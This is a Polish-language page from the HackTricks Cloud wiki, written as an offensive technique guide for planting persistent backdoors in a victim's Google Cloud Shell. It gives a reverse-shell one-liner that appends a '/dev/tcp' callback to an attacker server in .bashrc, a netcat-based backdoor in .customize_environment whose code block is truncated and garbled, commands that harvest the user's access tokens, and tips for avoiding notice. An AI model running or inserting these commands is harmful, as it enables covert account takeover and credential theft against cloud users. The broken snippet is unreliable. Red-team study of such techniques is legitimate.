GCP - Cloud Shell Persistence
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Cloud Shell
Więcej informacji:
Persistent Backdoor
Google Cloud Shell zapewnia dostęp do wiersza poleceń do zasobów w chmurze bezpośrednio z przeglądarki, bez dodatkowych kosztów.
Dostęp do Google Cloud Shell można uzyskać z poziomu konsoli webowej lub uruchamiając gcloud cloud-shell ssh.
Ta konsola daje atakującym kilka ciekawych możliwości:
- Każdy użytkownik Google z dostępem do Google Cloud ma dostęp do w pełni uwierzytelnionej instancji Cloud Shell (Service Accounts również mogą — nawet będąc Owners of the org).
- Taka instancja będzie przechowywać swój katalog domowy przez co najmniej 120 dni, jeśli nie będzie żadnej aktywności.
- Nie ma możliwości dla organizacji, aby monitorować aktywność tej instancji.
Oznacza to w praktyce, że atakujący może umieścić backdoor w katalogu domowym użytkownika i dopóki użytkownik łączy się z GC Shell przynajmniej co 120 dni, backdoor przetrwa, a atakujący uzyska shell za każdym razem, gdy zostanie uruchomiony, po prostu wykonując:
Add reverse shell to .bashrc
```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```W katalogu domowym znajduje się jeszcze jeden plik o nazwie .customize_environment, który, jeśli istnieje, będzie wykonywany za każdym razem, gdy użytkownik uzyska dostęp do cloud shell (tak jak w poprzedniej technice). Wystarczy wstawić poprzedni backdoor lub taki jak poniżej, aby utrzymać persistence tak długo, jak użytkownik będzie “często” korzystał z cloud shell:
Utwórz .customize_environment backdoor
```bash #!/bin/sh apt-get install netcat -y ncWarning
Należy pamiętać, że przy pierwszym wykonaniu akcji wymagającej uwierzytelnienia, w przeglądarce użytkownika pojawi się okienko autoryzacji. To okienko musi zostać zaakceptowane, zanim polecenie będzie mogło zostać wykonane. Jeśli pojawi się nieoczekiwane okienko, może to wzbudzić podejrzenia i potencjalnie narazić stosowaną metodę persistence.
To jest okienko, które pojawia się po uruchomieniu gcloud projects list z Cloud Shell (jako atakujący), widziane w sesji przeglądarki użytkownika:
.png)
Jednak jeśli użytkownik aktywnie korzystał z cloudshell, okienko nie pojawi się i możesz pozyskać tokeny użytkownika za pomocą:
Pobierz tokeny dostępu z Cloud Shell
```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```Jak nawiązywane jest połączenie SSH
Zasadniczo używane są trzy wywołania API:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (spowoduje dodanie Twojego public key, utworzonego lokalnie)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (spowoduje uruchomienie instance)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (zwróci adres IP Google Cloud Shell)
Więcej informacji znajdziesz w https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Źródła
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

